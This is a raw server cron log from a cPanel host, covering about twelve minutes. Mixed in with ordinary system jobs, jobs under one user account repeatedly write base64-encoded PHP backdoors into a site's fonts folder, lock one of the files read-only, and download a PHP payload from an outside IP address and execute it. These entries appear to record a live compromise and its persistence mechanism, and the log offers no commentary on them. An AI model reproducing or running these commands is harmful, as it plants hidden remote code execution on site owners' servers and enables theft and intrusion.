Sep  3 14:00:01 ip-184-168-122-23 CROND[16586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:00:01 ip-184-168-122-23 CROND[16595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:01:01 ip-184-168-122-23 CROND[16688]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 14:01:01 ip-184-168-122-23 CROND[16690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:01:01 ip-184-168-122-23 CROND[16689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:01:01 ip-184-168-122-23 CROND[16692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:01:01 ip-184-168-122-23 CROND[16693]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:01:01 ip-184-168-122-23 CROND[16691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16688]: starting 0anacron
Sep  3 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16710]: finished 0anacron
Sep  3 14:02:01 ip-184-168-122-23 CROND[16803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:02:01 ip-184-168-122-23 CROND[16805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:02:01 ip-184-168-122-23 CROND[16806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:02:01 ip-184-168-122-23 CROND[16804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:02:01 ip-184-168-122-23 CROND[16807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:03:01 ip-184-168-122-23 CROND[16905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:03:01 ip-184-168-122-23 CROND[16907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:03:01 ip-184-168-122-23 CROND[16906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:03:01 ip-184-168-122-23 CROND[16909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:04:01 ip-184-168-122-23 CROND[16986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:04:01 ip-184-168-122-23 CROND[16989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:04:01 ip-184-168-122-23 CROND[16991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:04:01 ip-184-168-122-23 CROND[16990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:04:01 ip-184-168-122-23 CROND[16988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:05:01 ip-184-168-122-23 CROND[17157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:05:01 ip-184-168-122-23 CROND[17159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:05:01 ip-184-168-122-23 CROND[17160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:05:01 ip-184-168-122-23 CROND[17161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:05:01 ip-184-168-122-23 CROND[17162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:05:01 ip-184-168-122-23 CROND[17164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:05:01 ip-184-168-122-23 CROND[17163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:06:02 ip-184-168-122-23 CROND[17257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:06:02 ip-184-168-122-23 CROND[17259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:06:02 ip-184-168-122-23 CROND[17262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:06:02 ip-184-168-122-23 CROND[17261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:06:02 ip-184-168-122-23 CROND[17260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:07:01 ip-184-168-122-23 CROND[17356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:07:01 ip-184-168-122-23 CROND[17358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:07:01 ip-184-168-122-23 CROND[17359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:07:01 ip-184-168-122-23 CROND[17360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:08:01 ip-184-168-122-23 CROND[17437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:08:01 ip-184-168-122-23 CROND[17441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:08:01 ip-184-168-122-23 CROND[17440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:08:01 ip-184-168-122-23 CROND[17442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:08:01 ip-184-168-122-23 CROND[17439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:09:01 ip-184-168-122-23 CROND[17538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:09:01 ip-184-168-122-23 CROND[17540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:09:01 ip-184-168-122-23 CROND[17542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:09:01 ip-184-168-122-23 CROND[17541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:09:01 ip-184-168-122-23 CROND[17543]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 14:10:02 ip-184-168-122-23 CROND[17735]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:10:02 ip-184-168-122-23 CROND[17741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:10:02 ip-184-168-122-23 CROND[17740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:10:02 ip-184-168-122-23 CROND[17743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:10:02 ip-184-168-122-23 CROND[17739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:10:02 ip-184-168-122-23 CROND[17742]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:10:02 ip-184-168-122-23 CROND[17744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:10:02 ip-184-168-122-23 CROND[17746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:11:01 ip-184-168-122-23 CROND[17854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:11:01 ip-184-168-122-23 CROND[17855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:11:01 ip-184-168-122-23 CROND[17857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:11:01 ip-184-168-122-23 CROND[17856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:12:01 ip-184-168-122-23 CROND[17962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:12:01 ip-184-168-122-23 CROND[17963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:12:01 ip-184-168-122-23 CROND[17967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:12:01 ip-184-168-122-23 CROND[17964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
